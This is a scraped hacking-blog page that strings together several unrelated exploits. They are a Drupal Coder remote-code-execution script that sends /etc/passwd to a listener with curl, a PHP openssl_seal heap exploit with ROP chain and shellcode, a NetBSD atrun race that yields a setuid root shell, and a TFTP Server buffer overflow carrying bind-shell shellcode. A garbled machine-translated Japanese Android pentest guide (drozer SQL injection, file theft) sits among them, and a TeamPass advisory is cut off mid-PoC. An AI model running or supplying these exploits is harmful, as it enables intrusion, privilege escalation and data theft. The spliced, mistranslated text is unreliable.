Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863591667

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

<?php

# Drupal module Coder Remote Code Execution (SA-CONTRIB-2016-039)
# https://www.drupal.org/node/2765575
# by Raz0r (http://raz0r.name)
#
# E-DB Note: Source ~ https://gist.github.com/Raz0r/7b7501cb53db70e7d60819f8eb9fcef5

$cmd = "curl -XPOST http://localhost:4444 -d @/etc/passwd";
$host = "http://localhost:81/drupal-7.12/";

$a = array(
    "upgrades" => array(
        "coder_upgrade" => array(
            "module" => "color",
            "files" => array("color.module")
        )
    ),
    "extensions" => array("module"),
    "items" => array (array("old_dir"=>"test; $cmd;", "new_dir"=>"test")),
    "paths" => array(
        "modules_base" => "../../../",
        "files_base" => "../../../../sites/default/files"
    )
);
$payload = serialize($a);
file_get_contents($host . "/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php?file=data://text/plain;base64," . base64_encode($payload));

?>
            
<?php

// Source: http://akat1.pl/?id=1

function get_maps() {
        $fh = fopen("/proc/self/maps", "r");
        $maps = fread($fh, 331337);
        fclose($fh);
        return explode("\n", $maps);
}

function find_map($sym) {
    $addr = 0;
    foreach(get_maps() as $record)
        if (strstr($record, $sym) && strstr($record, "r-xp")) {
            $addr = hexdec(explode('-', $record)[0]);
            break;
        }

    if ($addr == 0)
            die("[-] can't find $sym base, you need an information leak :[");

    return $addr;
}

function fill_buffer($offset, $content) {
    global $buffer;
    for ($i = 0; $i < strlen($content); $i++)
        $buffer[$offset + $i] = $content[$i];
    return;
}

$pre = get_maps();
$buffer = str_repeat("\x00", 0xff0000);
$post = get_maps();

$tmp = array_diff($post, $pre);

if (count($tmp) != 1)
        die('[-] you need an information leak :[');

$buffer_base = hexdec(explode('-',array_values($tmp)[0])[0]);
$addr = $buffer_base+0x14; /* align to string */

echo "[+] buffer string @ 0x".dechex($addr)."\n";

$align = 0xff;
$addr += $align;

echo "[+] faking EVP_PKEY @ 0x".dechex($addr)."\n";
echo "[+] faking ASN @ 0x".dechex($addr)."\n";
fill_buffer($align + 12, pack('P', $addr));

$libphp_base = find_map("libphp7");
echo "[+] libphp7 base @ 0x".dechex($libphp_base)."\n";

/* pop x ; pop rsp ; ret - stack pivot */
$rop_addr = $libphp_base + 0x00000000004a79c3;
echo "[+] faking pkey_free @ 0x".dechex($addr+0xa0-4)." = ".dechex($rop_addr)."\n";
fill_buffer($align + 0xa0 - 4, pack('P', $rop_addr));

/* pop rbp ; pop rbp ; ret - clean up the stack after pivoting */
$rop_addr = $libphp_base + 0x000000000041d583;
fill_buffer($align - 4, pack('P', $rop_addr));

$libc_base = find_map("libc-");
echo "[+] libc base @ 0x".dechex($libc_base)."\n";

$mprotect_offset = 0xf4a20;
$mprotect_addr = $libc_base + $mprotect_offset;
echo "[+] mprotect @ 0x".dechex($mprotect_addr)."\n";

$mmap_offset = 0xf49c0;
$mmap_addr = $libc_base + $mmap_offset;
echo "[+] mmap @ 0x".dechex($mmap_addr)."\n";

$apache2_base = find_map("/usr/sbin/apache2");
echo "[+] apache2 base @ 0x".dechex($apache2_base)."\n";

$ap_rprintf_offset = 0x429c0;
$ap_rprintf_addr = $apache2_base + $ap_rprintf_offset;
echo "[+] ap_rprintf @ 0x".dechex($ap_rprintf_addr)."\n";

$ap_hook_quick_handler_offset = 0x56c00;
$ap_hook_quick_handler_addr = $apache2_base + $ap_hook_quick_handler_offset;
echo "[+] ap_hook_quick_handler @ 0x".dechex($ap_hook_quick_handler_addr)."\n";

echo "[+] building ropchain\n";
$rop_chain =
        pack('P', $libphp_base + 0x00000000000ea107) .  // pop rdx ; ret
        pack('P', 0x0000000000000007) .                 // rdx = 7
        pack('P', $libphp_base + 0x00000000000e69bd) .  // pop rsi ; ret
        pack('P', 0x0000000000004000) .                 // rsi = 0x1000
        pack('P', $libphp_base + 0x00000000000e5fd8) .  // pop rdi ; ret
        pack('P', $addr ^ ($addr & 0xffff)) .           // rdi = page aligned addr
        pack('P', $mprotect_addr) .                     // mprotect addr
        pack('P', ($addr ^ ($addr & 0xffff)) | 0x10ff); // return to shellcode_stage1
fill_buffer($align + 0x14, $rop_chain);

$shellcode_stage1 = str_repeat("\x90", 512) .
        "\x48\xb8" . pack('P', $buffer_base + 0x2018) .         // movabs shellcode_stage2, %rax
        "\x49\xb8" . pack('P', 0x1000) .                        // handler size
        "\x48\xb9" . pack('P', $buffer_base + 0x3018) .         // handler
        "\x48\xba" . pack('P', $ap_hook_quick_handler_addr) .   // movabs ap_hook_quick_handler, %rdx
        "\x48\xbe" . pack('P', 0) .                             // UNUSED
        "\x48\xbf" . pack('P', $mmap_addr) .                    // movabs mmap,%rdi
        "\xff\xd0" .                                            // callq %rax
        "\xb8\x27\x00\x00\x00" .                                // mov $0x27,%eax - getpid syscall
        "\x0f\x05" .                                            // syscall
        "\xbe\x1b\x00\x00\x00" .                                // mov $0xd,%esi - SIGPROF
        "\x89\xc7" .                                            // mov %eax,%edi - pid
        "\xb8\x3e\x00\x00\x00" .                                // mov $0x3e,%eax  - kill syscall
        "\x0f\x05";                                             // syscall
fill_buffer(0x1000, $shellcode_stage1);

$shellcode_stage2 = str_repeat("\x90", 512) .
        "\x55" .                        // push   %rbp
        "\x48\x89\xe5" .                // mov    %rsp,%rbp
        "\x48\x83\xec\x40" .            // sub    $0x40,%rsp
        "\x48\x89\x7d\xe8" .            // mov    %rdi,-0x18(%rbp)
        "\x48\x89\x75\xe0" .            // mov    %rsi,-0x20(%rbp)
        "\x48\x89\x55\xd8" .            // mov    %rdx,-0x28(%rbp)
        "\x48\x89\x4d\xd0" .            // mov    %rcx,-0x30(%rbp)
        "\x4c\x89\x45\xc8" .            // mov    %r8,-0x38(%rbp)
        "\x48\x8b\x45\xe8" .            // mov    -0x18(%rbp),%rax
        "\x41\xb9\x00\x00\x00\x00" .    // mov    $0x0,%r9d
        "\x41\xb8\xff\xff\xff\xff" .    // mov    $0xffffffff,%r8d
        "\xb9\x22\x00\x00\x00" .        // mov    $0x22,%ecx
        "\xba\x07\x00\x00\x00" .        // mov    $0x7,%edx
        "\xbe\x00\x20\x00\x00" .        // mov    $0x2000,%esi
        "\xbf\x00\x00\x00\x00" .        // mov    $0x0,%edi
        "\xff\xd0" .                    // callq  *%rax
        "\x48\x89\x45\xf0" .            // mov    %rax,-0x10(%rbp)
        "\x48\x8b\x45\xf0" .            // mov    -0x10(%rbp),%rax
        "\x48\x89\x45\xf8" .            // mov    %rax,-0x8(%rbp)
        "\xeb\x1d" .                    // jmp    0x40063d <shellcode+0x6d>
        "\x48\x8b\x45\xf8" .            // mov    -0x8(%rbp),%rax
        "\x48\x8d\x50\x01" .            // lea    0x1(%rax),%rdx
        "\x48\x89\x55\xf8" .            // mov    %rdx,-0x8(%rbp)
        "\x48\x8b\x55\xd0" .            // mov    -0x30(%rbp),%rdx
        "\x48\x8d\x4a\x01" .            // lea    0x1(%rdx),%rcx
        "\x48\x89\x4d\xd0" .            // mov    %rcx,-0x30(%rbp)
        "\x0f\xb6\x12" .                // movzbl (%rdx),%edx
        "\x88\x10" .                    // mov    %dl,(%rax)
        "\x48\x8b\x45\xc8" .            // mov    -0x38(%rbp),%rax
        "\x48\x8d\x50\xff" .            // lea    -0x1(%rax),%rdx
        "\x48\x89\x55\xc8" .            // mov    %rdx,-0x38(%rbp)
        "\x48\x85\xc0" .                // test   %rax,%rax
        "\x75\xd2" .                    // jne    0x400620 <shellcode+0x50>
        "\x48\x8b\x7d\xf0" .            // mov    -0x10(%rbp),%rdi
        "\x48\x8b\x45\xd8" .            // mov    -0x28(%rbp),%rax
        "\xb9\xf6\xff\xff\xff" .        // mov    $0xfffffff6,%ecx
        "\xba\x00\x00\x00\x00" .        // mov    $0x0,%edx
        "\xbe\x00\x00\x00\x00" .        // mov    $0x0,%esi
        "\xff\xd0" .                    // callq  *%rax
        "\xc9" .                        // leaveq
        "\xc3";                         // retq
fill_buffer(0x2000, $shellcode_stage2);

$handler =
        "\x55" .                                    // push   %rbp
        "\x48\x89\xe5" .                            // mov    %rsp,%rbp
        "\x48\x83\xec\x30" .                        // sub    $0x30,%rsp
        "\x48\x89\x7d\xd8" .                        // mov    %rdi,-0x28(%rbp)
        "\x48\xb8" . pack('P', $ap_rprintf_addr) .  // movabs $0xdeadbabefeedcafe,%rax
        "\x48\x89\x45\xf8" .                        // mov    %rax,-0x8(%rbp)
        "\x48\xb8" . "Hello Wo" .                   // movabs CONTENT,%rax
        "\x48\x89\x45\xe0" .                        // mov    %rax,-0x20(%rbp)
        "\x48\xb8" . "rld!\n\x00\x00\x00" .         // movabs CONTENT,%rax
        "\x48\x89\x45\xe8" .                        // mov    %rax,-0x20(%rbp)
        "\x48\x8d\x4d\xe0" .                        // lea    -0x20(%rbp),%rcx
        "\x48\x8b\x55\xd8" .                        // mov    -0x28(%rbp),%rdx
        "\x48\x8b\x45\xf8" .                        // mov    -0x8(%rbp),%rax
        "\x48\x89\xce" .                            // mov    %rcx,%rsi
        "\x48\x89\xd7" .                            // mov    %rdx,%rdi
        "\xff\xd0" .                                // callq  *%rax
        "\xb8\x00\x00\x00\x00" .                    // mov    $0x0,%eax
        "\xc9" .                                    // leaveq
        "\xc3";                                     // retq
fill_buffer(0x3000, $handler);

$addr = pack('P', $addr);
$memory = str_repeat($addr,321);

$pem = "
-----BEGIN PUBLIC KEY-----
MCwwDQYJKoZIhvcNAQEBBQADGwAwGAIRANG2dvm8oNiH3IciNd44VZcCAwEAAQ==
-----END PUBLIC KEY-----"; /* Random RSA key */

$a = array_fill(0,321,0);
/* place valid keys at the beginning */ 
$k = openssl_pkey_get_public($pem);
$a[0] = $k; $a[1] = $k; $a[2] = $k;
echo "[+] spraying heap\n";
$x = array();
for ($i = 0 ; $i < 20000 ; $i++) {
        $x[$i] = str_repeat($memory, 1);
}
for ($i = 0 ; $i < 20000 ; $i++) {
        unset($x[$i]);
}
unset($x);
echo "[+] triggering openssl_seal()...\n";
@openssl_seal($_, $_, $_, $a);
echo "[-] failed ;[\n";
            

1。クライアントプログラムセキュリティテスト

1。APKの情報を確認してください

Java -jar getapkinfo.jar tfkj.apk

1049983-20211217131228014-496545986.png

2。デジタル署名チェック

c: \ program files \ java \ jdk1.8.0_111 \ bin \ jarsigner.exe-verify c: \ users \ bk \ desktop \ tianfuテクノロジークラウドアプリ\ tianfuテクノロジークラウドサービスプラットフォーム\ tianfuテクノロジークラウドサービスプラットフォーム。

1049983-20211217131228573-1991440786.png

C: \プログラム

ファイル\ java \ jdk1.8.0_111 \ bin \ jarsigner.exe -verify c: \ uses \ bk \ desktop \ tianfuテクノロジークラウドアプリ\ Tianfuテクノロジークラウドサービスプラットフォーム\ Tianfuテクノロジークラウドサービスプラットフォーム

1049983-20211217131229003-618681876.png

開発者の証明書は標準化されていないため、開発者のID情報が不明になります

keytool.exe-printcert-file。\ cert.rsa

1049983-20211217131229516-1178820240.png

3。逆コンパイルチェック

Apkscan.jarを介してアプリの硬化タイプを表示します

1049983-20211217131230011-966832256.png

APKはJavaソースコード:に低下しました

apkをzipとして扱い、classes.dexファイルを取得するために脱線します

1049983-20211217131230480-638869969.png

解凍されたclasses.dexファイルをdex2jarツールフォルダーにコピーします

1049983-20211217131231153-1756958467.png

コマンドを実行します:D2J-DEX2JAR Classes.dex

1049983-20211217131231611-193919411.png

実行後、分解されたクラスDex2jar.jarファイルが取得されます。

1049983-20211217131232059-1991644145.png

JD-gui.exeまたはluyten-0.5.4を使用して、classes-dex2jar.jarファイルを開き、360セキュリティを硬化させた難読化されたソースコードを取得します。

1049983-20211217131232556-603158649.png

Smali言語:にコンパイルされたAPK

Java -jar [apktool_2.3.4.jar] d -f

[APKアドレス] -O [出力ディレクトリ]

Java -jar

apktool_2.3.3.jar d [-s] -f c: \ users \ bk \ desktop \ tianfuテクノロジークラウドアプリ\ tianfuテクノロジークラウドサービスプラットフォーム。

Java -jar

apktool_2.3.3.jar d -f c: \ users \ bk \ desktop \ tianfuテクノロジークラウドアプリ\ tianfuテクノロジークラウドサービスプラットフォーム.apk -otfkj

1049983-20211217131233067-1296404841.png

または:

apktool.bat d Tianfu Technology Cloud Service Platform.apk

1049983-20211217131233565-431882397.png

4.AndroidManifest.xmlファイルを確認してください

Java -jar axmlprinter2.jar androidmanifest.xml

AndroidManifest.txt

または

Java -jar apkparser.jar Tianfu Technology Cloud Service Platform.apk androidmanifest.txt

1049983-20211217131234098-1085441528.png

1049983-20211217131234611-1809668187.png

1049983-20211217131235024-1950334509.png1。アプリケーションデータをオンにしてバックアップします。

許可バックアップの許可を許可すると、Tureにはバックアップデータリークのリスクがあります(デフォルトは構成されていない場合は真です)

1049983-20211217131235528-1612938688.png

2。安全でないデバッグモードをオンにします:

デバッグ可能な属性、trueはアプリケーション情報の改ざんと漏れのリスクをもたらします(設定されていない場合はデフォルトが偽です)

1049983-20211217131236182-153918030.png

5。Janusの脆弱性を確認してください

(1)Janusの脆弱性(Janusの脆弱性に基づいて、攻撃者は元の署名に影響を与えることなくアプリを変更できます。改ざんされたアプリを正常にインストールして実行できます。V1+V2署名は同時に使用する必要があります)1049983-20211217131236672-941233265.png

6。アプリケーション整合性キャリブレーション検査

ソースコードを逆コンパイルし、画像ファイル名をtest.pngとして変更します

1049983-20211217131237240-1525542787.png

APKパッケージを再生すると、コマンドは次のとおりです。

Java -jar apktool.jar b -fフォルダーがパッケージ化される-o出力APKパス

1049983-20211217131237760-235511991.png

1049983-20211217131238381-1458875576.png

または

apktool.bat btianfuテクノロジークラウドサービスプラットフォーム

1049983-20211217131238824-1189614589.png

Tianfu Technologyクラウドファイルの下には、さらに2つのフォルダー:BuildとDIST(パッケージ化されたAPKファイルが保存されています)を見つけることができます。

APKコマンドの再署名は次のとおりです。

Java -jar signapk.jar testkey.x509.pem

testKey.pk8 apkファイルパスに署名する。署名後のAPKパス出力

1049983-20211217131239209-956788928.png

次に、APKを再インストールすると、再インストールできれば、ファイルの整合性が破損します

2。コンポーネント安全テスト

1。基本情報クエリ(1)、プログラムインストールパッケージをリストします。

app.package.listを実行します

1049983-20211217131239559-1086056965.png(2)、アプリ名Drozerのパッケージ名を取得します(中国のアプリはリストできません。Java-Jar getapkinfo.jarを使用して、インストールされたアプリのパッケージ名を取得します)

コマンド:app.package.list -fパッケージ名を実行します

app.package.list -f Drozerを実行します

1049983-20211217131239881-1290900397.png(3)、Androidの4つの主要なコンポーネントの攻撃面を表示:command:run app.package.attacksurfaceパッケージrun app.zhuoyigou.dese 1049983-20211217131240206-1382008858.png :0101010101010101010 app.activity.info -aパッケージ名App.activity.info -a com.zhuoyigou.dese 1049983-20211217131240587-1688237832.png(2)、脆弱性テストにapp.activity.startを使用してください

コマンド:app.activity.startを実行する - コンポーネントパッケージ名コンポーネント名App.activity.startを実行してください---componentcom.example.sievecom.mwr.example.sieve.sieve.pwlist #bypass #bypass #bypass#bypass nemy login windowインタラクティブインターフェイス1049983-20211217131240871-1618307265.png 1049983-20211217131241457-1425156837.png

露出したアクティビティコンポーネントを呼び出す(一般に、アクティビティコンポーネントは1つのプログラムスタートアップインターフェイスのみを公開し、他のプログラムスタートアップインターフェイスのみを公開し、コンポーネントの露出です。テストであり、コンポーネントの露出の脆弱性はありません) app.provider.info -aパッケージ名App.provider.info -A com.zhuoyigou.dese 1049983-20211217131242548-2114912260.png(2)、contentProvidersデータリークURLコマンド:Run Scanner.Provider.Finduris -Aパッケージ名Run Scanner.Frovider.Finduris -A com.dduris -dderis -dderis -dduris- 1049983-20211217131242952-505976919.png(3)、各URIのデータを取得します

コマンド:app.provider.query漏れやすいURLアドレスをクエリ - verticalrun app.provider.query content: //com.zhuoyigou.dese.ipc.provider/- vertical 1049983-20211217131243276-1703090917.png(3)、contentproviders sql didrestion sql didcmand 1:run conted app. querider - プロジェクション ''

コマンド2:接続できるapp.provider.query urlアドレスを実行します-selection '' 'run app.provider.query content: //com.zhuoyigou.dese.ipc.provider/- -selection' '' 1049983-20211217131243626-1469344691.png 1049983-20211217131243937-488153965.png sql as a scliest as a sped as a splest a sclis

コマンド:app.provider.query urlアドレスを接続できるquery urlアドレス-projection '* sqlite_master from sqlite_master where "type=' table '; - ' run app.provider.dese.ipc.provider/- project '* sqlite_master from from phose=3つの視点からsqlite_master Android_metadata、パスワード、およびキー。名前から、Android_metadataはシステム関連のテーブルであり、他の2つはパスワードと他のデータに関連している可能性があると判断できます。

安卓四大组件审计实验(drozer)

(5)テーブルでデータを取得します(キーなど)。

コマンド:app.provider.query urlアドレスを接続できるquery urlアドレス-projection '* from' 'run app.provider.query content: //com.zhuoyigou.dese.ipc.provider/- from key; - '(6)、SQL注入の検出

コマンド:scanner.provider.injection -aパッケージ名を実行します

scanner.provider.injection -a com.zhuoyigou.dese 1049983-20211217131244758-1741595285.png(7)、検出ディレクトリトラバーサルコマンド:Run scanner.provider.traversal -aパッケージ名run scanner.provider.provider.traversal -a com.zhuoyigou.dese 1049983-20211217131245151-1456269698.png(8) app.provider.read urlアドレスを接続できますapp.provider.read content: //com.zhuoyigou.dese.ipc.provider/1049983-20211217131245503-305825827.png(9)、ローカルコマンドへのシステムファイルをダウンロード:実行app.provider.download download downlow downolut

app.provider.download content: //com.mwr.example.sieve.filebackupprovider/data/data/com.mwr.example.sieve/databを実行します

// Source: http://akat1.pl/?id=2

#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <stdlib.h>
#include <string.h>
#include <err.h>
#include <sys/wait.h>

#define ATRUNPATH "/usr/libexec/atrun"
#define MAILDIR "/var/mail"

static int
overwrite_atrun(void)
{
        char *script = "#! /bin/sh\n"
            "cp /bin/ksh /tmp/ksh\n"
            "chmod +s /tmp/ksh\n";
        size_t size;
        FILE *fh;
        int rv = 0;

        fh = fopen(ATRUNPATH, "wb");

        if (fh == NULL) {
                rv = -1;
                goto out;
        }

        size = strlen(script);
        if (size != fwrite(script, 1, strlen(script), fh)) {
                rv =  -1;
                goto out;
        }

out:
        if (fh != NULL && fclose(fh) != 0)
                rv = -1;

        return rv;
}

static int
copy_file(const char *from, const char *dest, int create)
{
        char buf[1024];
        FILE *in = NULL, *out = NULL;
        size_t size;
        int rv = 0, fd;

        in = fopen(from, "rb");
        if (create == 0)
                out = fopen(dest, "wb");
        else {
                fd = open(dest, O_WRONLY | O_EXCL | O_CREAT, S_IRUSR |
                    S_IWUSR);
                if (fd == -1) {
                        rv = -1;
                        goto out;
                }
                out = fdopen(fd, "wb");
        }

        if (in == NULL || out == NULL) {
                rv = -1;
                goto out;
        }

        while ((size = fread(&buf, 1, sizeof(buf), in)) > 0) {
                if (fwrite(&buf, 1, size, in) != 0) {
                        rv = -1;
                        goto out;
                }
        }

out:
        if (in != NULL && fclose(in) != 0)
                rv = -1;
        if (out != NULL && fclose(out) != 0)
                rv = -1;
        
        return rv;
}

int
main()
{
        pid_t pid;
        uid_t uid;
        struct stat sb;
        char *login, *mailbox, *mailbox_backup = NULL, *atrun_backup, *buf;

        umask(0077);

        login = getlogin();

        if (login == NULL)
                err(EXIT_FAILURE, "who are you?");

        uid = getuid();

        asprintf(&mailbox, MAILDIR "/%s", login);

        if (mailbox == NULL)
                err(EXIT_FAILURE, NULL);

        if (access(mailbox, F_OK) != -1) {
                /* backup mailbox */
                asprintf(&mailbox_backup, "/tmp/%s", login);
                if (mailbox_backup == NULL)
                        err(EXIT_FAILURE, NULL);
        }

        if (mailbox_backup != NULL) {
                fprintf(stderr, "[+] backup mailbox %s to %s\n", mailbox,
                    mailbox_backup);

                if (copy_file(mailbox, mailbox_backup, 1))
                        err(EXIT_FAILURE, "[-] failed");
        }

        /* backup atrun(1) */
        atrun_backup = strdup("/tmp/atrun");
        if (atrun_backup == NULL)
                err(EXIT_FAILURE, NULL);

        fprintf(stderr, "[+] backup atrun(1) %s to %s\n", ATRUNPATH,
            atrun_backup);

        if (copy_file(ATRUNPATH, atrun_backup, 1))
                err(EXIT_FAILURE, "[-] failed");

        /* win the race */
        fprintf(stderr, "[+] try to steal %s file\n", ATRUNPATH);

        switch (pid = fork()) {
        case -1:
                err(EXIT_FAILURE, NULL);
                /* NOTREACHED */

        case 0:
                asprintf(&buf, "echo x | /usr/libexec/mail.local -f xxx %s "
                    "2> /dev/null", login);

                for(;;)
                        system(buf);
                /* NOTREACHED */

        default:
                umask(0022);
                for(;;) {
                        int fd;
                        unlink(mailbox);
                        symlink(ATRUNPATH, mailbox);
                        sync();
                        unlink(mailbox);
                        fd = open(mailbox, O_CREAT, S_IRUSR | S_IWUSR);
                        close(fd);
                        sync();
                        if (lstat(ATRUNPATH, &sb) == 0) {
                                if (sb.st_uid == uid) {
                                        kill(pid, 9);
                                        fprintf(stderr, "[+] won race!\n");
                                        break;
                                }
                        }
                }
                break;
        }
        (void)waitpid(pid, NULL, 0);

        if (mailbox_backup != NULL) {
                /* restore mailbox */
                fprintf(stderr, "[+] restore mailbox %s to %s\n",
                    mailbox_backup, mailbox);

                if (copy_file(mailbox_backup, mailbox, 0))
                        err(EXIT_FAILURE, "[-] failed");
                if (unlink(mailbox_backup) != 0)
                        err(EXIT_FAILURE, "[-] failed");
        }

        /* overwrite atrun */
        fprintf(stderr, "[+] overwriting atrun(1)\n");

        if (chmod(ATRUNPATH, 0755) != 0)
                err(EXIT_FAILURE, NULL);

        if (overwrite_atrun())
                err(EXIT_FAILURE, NULL);

        fprintf(stderr, "[+] waiting for atrun(1) execution...\n");

        for(;;sleep(1)) {
                if (access("/tmp/ksh", F_OK) != -1)
                        break;
        }

        /* restore atrun */
        fprintf(stderr, "[+] restore atrun(1) %s to %s\n", atrun_backup,
            ATRUNPATH);

        if (copy_file(atrun_backup, ATRUNPATH, 0))
                err(EXIT_FAILURE, "[-] failed");
        if (unlink(atrun_backup) != 0)
                err(EXIT_FAILURE, "[-] failed");

        if (chmod(ATRUNPATH, 0555) != 0)
                err(EXIT_FAILURE, NULL);

        fprintf(stderr, "[+] done! Don't forget to change atrun(1) "
            "ownership.\n");
        fprintf(stderr, "Enjoy your shell:\n");

        execl("/tmp/ksh", "ksh", NULL);

        return 0;
}
            
# Exploit Title: [TFTP Server 1.4 - WRQ Buffer Overflow Exploit [Egghunter]]
# Exploit Author: [Karn Ganeshen]
# Vendor Homepage: [http://sourceforge.net/projects/tftp-server/]
# Version: [1.4]
# Tested on: [Windows Vista SP2]
#
# Coded this for Vista Ultimate, Service Pack 2
# 3-byte overwrite + short jump + Egghunter
# Standalone mode
#
# Couple of overflow exploits already here for this tftp, none for Vista SP2 + Egghunter:
#     http://www.exploit-db.com/exploits/5314/
#     http://www.exploit-db.com/exploits/10542/
#     http://www.exploit-db.com/exploits/5563/
#     https://www.exploit-db.com/exploits/18345/
#

#!/usr/bin/python

import socket
import sys

host = '192.168.49.187'
port = 69

try:
s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
except:
print "socket() failed"
sys.exit(1)

# msfvenom -p windows/shell_bind_tcp LHOST=192.168.49.187 -b \x00 EXITFUNC=seh -f c -e x86/alpha_mixed
# Payload size: 718 bytes

shellcode = (
"\x89\xe5\xd9\xcf\xd9\x75\xf4\x5d\x55\x59\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"
"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
"\x59\x6c\x48\x68\x4f\x72\x75\x50\x63\x30\x33\x30\x33\x50\x6f"
"\x79\x59\x75\x35\x61\x6f\x30\x51\x74\x6c\x4b\x42\x70\x46\x50"
"\x6e\x6b\x62\x72\x66\x6c\x6c\x4b\x73\x62\x56\x74\x6c\x4b\x43"
"\x42\x45\x78\x66\x6f\x58\x37\x73\x7a\x56\x46\x54\x71\x4b\x4f"
"\x6e\x4c\x45\x6c\x50\x61\x51\x6c\x33\x32\x74\x6c\x61\x30\x4b"
"\x71\x68\x4f\x74\x4d\x63\x31\x39\x57\x58\x62\x68\x72\x76\x32"
"\x71\x47\x4e\x6b\x52\x72\x64\x50\x4c\x4b\x30\x4a\x45\x6c\x6c"
"\x4b\x30\x4c\x36\x71\x50\x78\x68\x63\x70\x48\x76\x61\x6b\x61"
"\x43\x61\x4e\x6b\x61\x49\x45\x70\x63\x31\x48\x53\x4c\x4b\x72"
"\x69\x35\x48\x38\x63\x77\x4a\x77\x39\x6c\x4b\x65\x64\x4c\x4b"
"\x67\x71\x58\x56\x75\x61\x4b\x4f\x6c\x6c\x69\x51\x7a\x6f\x76"
"\x6d\x65\x51\x39\x57\x45\x68\x4d\x30\x34\x35\x6a\x56\x45\x53"
"\x53\x4d\x5a\x58\x47\x4b\x53\x4d\x77\x54\x43\x45\x4d\x34\x73"
"\x68\x6c\x4b\x61\x48\x57\x54\x46\x61\x6b\x63\x61\x76\x6c\x4b"
"\x74\x4c\x42\x6b\x4c\x4b\x30\x58\x57\x6c\x75\x51\x79\x43\x4c"
"\x4b\x33\x34\x6e\x6b\x46\x61\x4e\x30\x4b\x39\x73\x74\x56\x44"
"\x65\x74\x63\x6b\x43\x6b\x63\x51\x52\x79\x53\x6a\x66\x31\x59"
"\x6f\x6b\x50\x33\x6f\x33\x6f\x32\x7a\x6e\x6b\x35\x42\x78\x6b"
"\x4e\x6d\x43\x6d\x62\x48\x37\x43\x46\x52\x37\x70\x35\x50\x61"
"\x78\x72\x57\x64\x33\x45\x62\x71\x4f\x56\x34\x53\x58\x32\x6c"
"\x63\x47\x34\x66\x46\x67\x4b\x4f\x6a\x75\x4e\x58\x4e\x70\x43"
"\x31\x75\x50\x35\x50\x31\x39\x6f\x34\x72\x74\x70\x50\x55\x38"
"\x56\x49\x4f\x70\x30\x6b\x47\x70\x69\x6f\x48\x55\x71\x7a\x36"
"\x68\x51\x49\x70\x50\x4a\x42\x4b\x4d\x61\x50\x76\x30\x33\x70"
"\x36\x30\x35\x38\x69\x7a\x64\x4f\x59\x4f\x6b\x50\x39\x6f\x4b"
"\x65\x7a\x37\x73\x58\x43\x32\x63\x30\x56\x71\x71\x4c\x6c\x49"
"\x69\x76\x71\x7a\x64\x50\x53\x66\x72\x77\x73\x58\x4a\x62\x79"
"\x4b\x50\x37\x65\x37\x39\x6f\x6b\x65\x36\x37\x42\x48\x48\x37"
"\x4b\x59\x47\x48\x6b\x4f\x39\x6f\x4b\x65\x51\x47\x51\x78\x50"
"\x74\x5a\x4c\x65\x6b\x79\x71\x69\x6f\x6a\x75\x51\x47\x4f\x67"
"\x53\x58\x61\x65\x32\x4e\x32\x6d\x70\x61\x49\x6f\x69\x45\x61"
"\x78\x72\x43\x32\x4d\x30\x64\x43\x30\x4b\x39\x4a\x43\x70\x57"
"\x53\x67\x72\x77\x64\x71\x48\x76\x31\x7a\x52\x32\x42\x79\x52"
"\x76\x38\x62\x69\x6d\x65\x36\x4b\x77\x37\x34\x61\x34\x47\x4c"
"\x57\x71\x45\x51\x6c\x4d\x77\x34\x44\x64\x72\x30\x78\x46\x53"
"\x30\x67\x34\x33\x64\x32\x70\x70\x56\x73\x66\x42\x76\x62\x66"
"\x46\x36\x30\x4e\x63\x66\x46\x36\x42\x73\x62\x76\x52\x48\x71"
"\x69\x38\x4c\x35\x6f\x6e\x66\x79\x6f\x49\x45\x4c\x49\x4b\x50"
"\x52\x6e\x43\x66\x30\x46\x59\x6f\x54\x70\x62\x48\x34\x48\x6c"
"\x47\x35\x4d\x55\x30\x39\x6f\x38\x55\x4f\x4b\x59\x6e\x34\x4e"
"\x76\x52\x59\x7a\x73\x58\x6d\x76\x6c\x55\x4d\x6d\x4d\x4d\x4b"
"\x4f\x6e\x35\x47\x4c\x63\x36\x71\x6c\x45\x5a\x4f\x70\x49\x6b"
"\x59\x70\x74\x35\x76\x65\x4d\x6b\x50\x47\x32\x33\x32\x52\x30"
"\x6f\x62\x4a\x45\x50\x66\x33\x69\x6f\x4e\x35\x41\x41")

# PPR - 0x0040CC22 - in TFTPServerSP.exe
# 3-byte overwrite

jump_one = "\xEB\xDB\x90\x90" # negative jump back
egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a" #WOOT
"\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x54\x30\x30\x57\x8b\xfa"
"\xaf\x75\xea\xaf\x75\xe7\xff\xe7")

filename = "\x90"*734 + "T00WT00W" + shellcode + "\x90"*10 + egghunter + "\x90"*10 + jump_one + "\x22\xCC\x40"

mode = "netascii"

evil = "\x00\x02" + filename + "\x00" + mode + "\x00"

print "[*] Sending evil packet, ph33r"
s.sendto(evil, (host, port))
print "[*] Check port 4444 for bindshell"
            
1. ADVISORY INFORMATION
========================================
Title: TeamPass Passwords Management System via Unauth File Download and Arbitrary File Download
Application: TeamPass Passwords Management System
Class: Sensitive Information disclosure
Remotely Exploitable: Yes
Versions Affected: TeamPass Passwords Management System <= 2.1.26
Bugs:  Arbitrary File Download
Date of found:  21.03.2016
Reported:  09.05.2016
Date of Public Advisory: 13.05.2016
Author: Hasan Emre Ozer 


2. CREDIT
========================================
This vulnerability was identified during penetration test
by Hasan Emre Ozer & Halit Alptekin from PRODAFT / INVICTUS

Thank you Mehmet Ince for support

3. DESCRIPTION
========================================
We deciced to publish the vulnerability after its fix in release 2.1.26

4. VERSIONS AFFECTED
========================================
TeamPass Passwords Management System <= 2.1.10


5. TECHNICAL DETAILS & POC
========================================
Using 'downloadFile.php' file from 'sources' directory we can download any file.


Proof of Concept (POC)
 
Example for downloading database configuration:
 
